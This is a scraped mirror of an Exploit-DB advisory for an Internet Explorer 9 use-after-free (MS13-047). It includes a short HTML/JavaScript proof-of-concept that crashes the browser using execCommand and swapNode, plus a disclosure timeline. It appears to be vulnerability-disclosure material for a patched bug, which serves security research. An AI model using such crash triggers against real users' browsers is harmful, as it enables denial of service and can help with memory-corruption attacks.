Microsoft Internet Explorer 9 – IEFRAME CSelectionInteractButtonBehavior::_UpdateButtonLocation Use-After-Free (MS13-047) - 体验盒子

作者： Skylined

日期： 2016-12-12

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/40907/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

<!--

Source: http://blog.skylined.nl/20161212001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. I have included a number of reports created using a predecessor of BugId below.

Repro.html:

-->

<!DOCTYPE html>

<html>

<head>

function go() {

document.execCommand('SelectAll');

document.execCommand('superscript');

setTimeout(function() {

oSupElement=document.getElementsByTagName('sup')[0];

oSupElement.swapNode(document.documentElement);

}, 0);

}

</script>

</head>

</body>

</html>

<!--

Time-line

27 September 2012: This vulnerability was found through fuzzing.

3 December 2012: This vulnerability was submitted to EIP.

10 December 2012: This vulnerability was rejected by EIP.

12 December 2012: This vulnerability was submitted to ZDI.

25 January 2013: This vulnerability was acquired by ZDI.

15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.

27 June 2013: This vulnerability was address by Microsoft in MS13-047.

12 December 2016: Details of this vulnerability are released.

-->

Microsoft Internet Explorer 9 – IEFRAME CSelection­Interact­Button­Behavior::_Update­Button­Location Use-After-Free (MS13-047)

Microsoft Internet Explorer 9 – IEFRAME CSelectionInteractButtonBehavior::_UpdateButtonLocation Use-After-Free (MS13-047)